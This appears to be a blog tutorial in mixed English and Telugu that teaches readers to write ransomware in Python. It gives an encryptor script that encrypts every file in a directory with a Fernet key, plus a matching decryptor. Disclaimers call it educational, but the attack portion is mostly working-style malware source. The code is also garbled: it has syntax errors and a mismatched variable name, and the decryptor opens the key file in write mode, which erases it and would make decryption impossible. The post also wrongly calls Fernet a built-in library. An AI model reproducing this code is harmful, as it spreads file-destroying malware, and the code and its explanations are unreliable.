How to Make Ransomware with Python - Practical Education Purpose

Strictly Education Purpose - only please play it in Controlled Environment and do not misuse it.

We are not responsible for any damage that is caused for your acts.


Thu May 19, 2022

Python Ransomware

"Disclaimer : This is for Educational purpose only Bayata ekkada vaadakandi vadina FLM peru cheppakandi.

Hello all,Today we are going to learn about Something called Ransomware Malware and how to build a Ransomware using python

Ok, what is Ransomware and why should we know about it.
Well, Ransomware anedi a kind of Malicious Software that is used to encrypt (convert Readable, Executable, writable etc files into Gibberish data that cannot be read, execute or write ) sensitive files of an organization make them unusable and demand Bounty to decrypt it.


Ok why we should learn about it

As a aspirant to have a career in IT everyone should have basic understanding of Ransomware and how to avoid from happening one as it is one of most happening malware attack.


Recent Famous Ransomware attacks are :


  1. Acer : Famous Computer manufacturer was attacked by REvil hacker group and demanded $50 million nearly 375 crore INR (Konchem Ekkuvey)

  2. NBA (National Basketball Association) : NBA confidential documents that include financial info and contracts are stolen and demanded a bounty

  3. CNA a large insurance firm was attacked and encrypted more than 15000 devices. Hackers used Phoenix Cryptolocker to do so

  4. CD Projekt a famous game development firm from poland was attacked by Hellokitty gang and demanded bounty.


This could happen anywhere and our firm isn’t exceptional. Do Follow all the Security measures instructed by your Cyber Security Team and try to have backup for Sensitive data and donot open any emails that are suspiciou.


Ok, ippudu we will create a Ransomware using python


Filename : RansomEncrypt.py


#!/usr/bin/env python3


import os

from cryptography.fernet import Fernet as ranware


Shebang(#!/usr/bin/env python3) : General ga Linux Environment lo type of file ni represent cheyataniki shebang use chestam

Os : python inbuilt library that is used to identify files

Fernet : python inbuilt library that is used for Symmetric Cryptography (encryption, decryption using same key)



files = []

key = ranware.generate_key()

with open(“key.key”,’wb’) as thekey:

thekey.write(key)

for file in os.listdir():

If file == ‘RansomEncrypt.py’ or file == “key.key”:

continue

If os.path.isfile(file):

files.append(file)


key aney variable lo encryption, decryption ki avasaramaina key ni generate chesam using Fernet library

files aney list collection lo available ga vunna files anni store chesam except generate chesina key and mana python program to perform ransomware


for file in files:

with open(file,”rb”) as thefile:

content = thefile.read()

contentsEncrypted = ranware(key).encrypt(content)

with open(file,”wb”) as thefile:

thefile.write(contentsencrypted)

Ippudu, we will do Decryprion


Filename : RansomDecrypt.py


#!/usr/bin/env python3


import os

from cryptography.fernet import Fernet as ranware

files = []

with open(“key.key”,’wb’) as thekey:

secret = thekey.read()


for file in os.listdir():

If file == ‘RansomEncrypt.py’ or file == “key.key” or file == “RansomDecrypt.py”:

continue

If os.path.isfile(file):

files.append(file)

for file in files:

with open(file,”rb”) as thefile:

content = thefile.read()

contentsDecrypted = ranware(secret).decrypt(content)

with open(file,”wb”) as thefile:

thefile.write(contentsDecrypted)


Again, this is purely for Educational Purpose only please play it in Controlled Environment and do not misuse it.
We are not responsible for any damage that is caused for your acts.

Admin